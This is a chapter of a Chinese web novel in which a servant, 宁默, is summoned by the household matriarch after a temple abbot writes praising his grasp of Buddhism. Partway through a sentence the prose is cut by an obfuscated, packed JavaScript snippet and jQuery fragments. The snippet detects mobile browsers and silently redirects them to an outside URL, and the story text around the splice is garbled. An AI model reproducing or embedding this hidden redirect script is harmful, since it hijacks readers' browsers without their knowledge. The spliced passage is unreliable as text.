第52章 大夫人的召见
作品:《夫人请卸甲》 红绡离开后,赵管事擦了擦额头的冷汗。
真是稀奇啊!
先是三夫人要人,大小姐也来要人,然二夫人又横插一脚……
这小小的奴仆院,何时成了香饽饽?
“还是先去跟大夫人汇报一下……”
两个夫人那里先后有奴仆突发急病,赵管事担心出事,决定这就去汇报。
毕竟哪有这般巧合的事?
大概率是……府中起了什么疫病!
若真是疫病,在周府这等高门大户中蔓延开来,他这奴仆院管事第一个脱不了干系!
念及于此。
赵管事再不敢耽搁,整了整衣衫,匆匆赶往大夫人的松鹤堂。
……
松鹤堂内,香烟袅袅。
大夫人周崔氏正闭目捻着佛珠,听贴身丫鬟念着今日的用度账目。
她眉眼间带着几分倦色。
老爷病重,府中大小事务都压在她和女儿周清澜肩上了,可以说是心力交瘁。
但也不得不强打起精神。
“夫人,奴仆院的赵管事求见。”
这时,门外有小丫鬟轻声禀报。
大夫人手中佛珠一顿,缓缓睁开眼,眼中闪过一丝疑惑。
奴仆院的管事?
平日若无大事,绝不会直接来求见她。
“让他进来。”
“见过大夫人!”
赵管事躬身入内,连忙跪地行礼。
“有什么事?”大夫人直接问道,尽量不浪费时间。
“是这样的……”
赵管事也不敢耽误大夫人的时间,当下便将两房夫人院里有奴仆突发急症要补缺奴仆,以及自己担心疫病之事,一五一十地禀明。
“疫病?”
大夫人神色一凛,猛地坐直了身子。
高门大户最怕这个,一旦染上,便是灭顶之灾。
她内心慌乱,周家到底做了什么伤天害理的事情,为何要这么对待他们?
大夫人神色逐渐淡定下来,左思右想,也没听说湘南府哪里有疫病发生。
觉得可能是自己想太多了,便问道:“你可仔细查验过?”
“回夫人,小人不敢妄断,已让人去瞧了,三夫人院里的奴仆确实病得厉害,昏迷不醒……二夫人院里的奴仆,想必也是一样……”
赵管事额头冒汗,道:“小人想着,宁可信其有,不可信其无,这才赶紧来禀报夫人。”
大夫人沉吟片刻,吩咐道:“你立刻让府中医官去查验,若真是疫病……该埋的便埋了,绝不可耽误。”
“另外,将那三夫人跟二夫人的院子暂时隔开,一应用具单独处理,伺候过的人也都先挪到外院去,观察几日。”
“是,夫人!”
赵管事连声应下,心中稍安。
大夫人摆了摆手,赵管事这才躬身退下。
……
待赵管事走后,大夫人揉了揉眉心,她正想继续听丫鬟报账,门外又有丫鬟捧着一封信笺进来:
“夫人,青莲寺澄观方丈派人送来的信。”
“澄观大师?”
大夫人神色一正,连忙接过。
她与澄观方丈相识多年,深知这位高僧德行深厚,若非紧要之事,绝不会轻易来信。
展开信笺,一行行工整的小楷映入眼帘。
大夫人的目光随着字句移动,起初平静,渐渐泛起讶异,到最后竟忍不住轻“咦”一声。
“佛缘深厚……见解超凡……慧根天成……”
她低声念着信中的词句,眼中满是不可思议。
澄观方丈在信中极力推崇一个名叫“小宁子”的周府奴仆。
还称他于佛理有非凡悟性,想恳请她周府成全,允许这个奴仆入青莲寺修行,甚至愿意为这个奴仆赎身。
“小宁子……”
大夫人轻声重复这个名字,努力在记忆中搜寻。
似乎想找出这么一个有佛性的奴仆。
只是府中奴仆众多,她平日里哪会记得一个奴仆的名字?
但澄观方丈如此郑重其事,甚至以“佛子”相称,这便绝非寻常了。
她信佛多年,深知澄观眼界之高,能得到他的这般赞誉,那奴仆肯定非凡之处。
“去。”
大夫人收起信笺,对身旁丫鬟道:“到奴仆院,将那个叫小宁子的奴仆带来,我要见见。”
“是。”
丫鬟领命而去。
……
奴仆院中。
宁默站在院角,听着阿福三人的安慰,脸上浮现出一抹失落之色。
“小宁子,你也别太难过。”
阿福拍了拍他的肩,整个人非常松弛,安慰道:“三夫人虽然看重你,但大小姐的话更要听。”
“说不定下午的时候,大小姐还能选中你,那是多大的造化?说不定比去三房强多了!”
栓子也点头附和:“就是就是!大小姐那可是京城里见过大世面的,她挑中的人,往后前程能差?”
大壮憨憨道:“是啊,小宁子你识字,又懂佛经,大小姐肯定喜欢。”
三人你一言我一语的安慰,看似替宁默感到可惜……实则心里舒爽的很。
大家都好好的当着奴仆就行,为什么要一步登天?
同甘共苦才是好兄弟啊!
宁默将他们的心思看得分明,也不点破,只是垂首道:“多谢三位哥哥开导,小弟省得。”
“省的就好!”
三人微微颔首,觉得小宁子确实能处……
正说着,院门又被推开。
赵管事去而复返,目光在院中的奴仆身上巡视,随后似乎看到了谁……脸上堆起了罕见的亲近笑容,径自朝宁默和阿福等人这边走来。
阿福三人看到了赵管事,先是身体紧绷,但看到赵管事的笑脸后,皆是愣了愣神。
赵管事这态度……不对劲啊!
“小宁子。”
然而,赵管事却是走到了宁默跟前,语气甚至带上了几分热络:“收拾一下,随我去松鹤堂。”
“松鹤堂?”
宁默心头一跳,松鹤堂似乎是……大夫人的院落。
这什么情况?
“正是。”
赵管事压低声音,在宁默耳边道:“你小子……到底什么来头?先是三夫人,现在连大夫人都要见你。”
宁默苦笑道:“赵管事,小的也不太清楚……小的就是一普通奴仆。”
“是吗?”
赵管事显然是不信的,肯定是小宁子做了什么事,才会被夫人关注,当下也是意味深长道:“好好表现,若得了大夫人青眼,往后在这府里……可就大不一样了。”
“走吧,我送你过去……”
赵管事态度亲近。
然而,宁默这时候却是吓的不轻,心中也是念头急转。
大夫人她为何要见自己?
该不会是自己跟三夫人的事情,被大夫人知道了?
不!
如果走漏了风声,来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267358|198102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就应该是周府的家丁,而不是这么可的请他过去了。
宁默有些好奇。
想知道大夫人什么意图……
他当下躬身应道:“好,有劳赵管事了!”
“说这话,都是兄弟!”
赵管事满意地点了头,轻拍了拍宁默的肩膀,道:“走吧,莫让大夫人久等。”
宁默整了整粗布衣衫,跟在赵管事身后,朝院外走去。
而阿福三人则一个个呆若木鸡,嘴巴微张,那表情就跟吞了几千堆苍蝇屎般难看。
不是啊!
三夫人也就算了。
大小姐也不一定选上他。
可问题是……大夫人怎么直接点名要见他?
都是奴仆,要不要这么不公平?
阿福、栓子、大壮三人半晌没说话。
栓子脸上满是难以置信之色,喃喃道:“小宁子他……何德何能?”
阿福脸色青白交加,方才安慰宁默带来的优越感,荡然无存。
这比杀了他还难受!
……
松鹤堂外。
宁默在丫鬟的带路下,垂首立在廊下,等待大夫人的通传。
他心中忐忑。
也不知道这次大夫人的召见,是福是祸?
“要沉住气,要淡定……”
他在心中不断地告诫自己。
要见机行事,谨言慎行。
“小宁子,进来吧。”
就在这时,一个丫鬟的声音打断了他的思绪。
宁默深吸一口气,整了整衣襟,便躬身迈入松鹤堂。
堂内布置清雅,檀香淡淡。
正中榻上,坐着一位年约四旬的妇人,身着深青色缎裙,发髻简洁,只簪一支玉簪。
她眉眼端庄,脸上虽然有了岁月刻下的痕迹,却依稀能看出年轻时的不俗姿色。
此刻,她正手持一串沉香木佛珠,轻轻捻动,目光平静地看向宁默。
带着几分审视。
那目光并不锐利,却带着久居上位的从容,仿佛能看穿一个人的人心。
宁默不敢直视,快走几步,在堂中跪下行礼:“小的叩见大夫人。”
“抬起头来。”
大夫人的声音温和,却自带一股威严。
宁默闻言微微抬头,但仍然垂着眼帘,神色恭谨,没有半点超越奴仆身份的行为。
大夫人细细打量着他。
越看越是惊讶。
府上什么时候有这么一个清秀的奴仆了?
身形挺拔,眉眼清俊,虽然穿着府上奴仆的粗布衣衫,却难掩那份干净书卷气。
尤其是那双眼睛,垂眸时温顺,抬眼时却清澈明净,不见寻常奴仆的畏缩卑微。
单看这相貌气度,便知绝非池中之物。
难怪澄观方丈那般推崇……
大夫人心中暗忖,面上却不露分毫,缓缓开口:“你便是小宁子?”
“回夫人,小的正是小宁子!”宁默回道,半句废话没有。
大夫人微微颔首,这才说道:“青莲寺澄观方丈来信,盛赞你佛缘深厚,于佛法有非凡见解。”
“老身信佛多年,今日便想听听,你是如何得方丈这般赞誉的。”
“?”
宁默听到这话,顿时明白了过来。
不是三夫人跟他的奸……啊不,跟他的友好关系被发现,而是青莲寺的方丈写信给了大夫人。
虚惊一场!
难不成方丈要为他赎身?

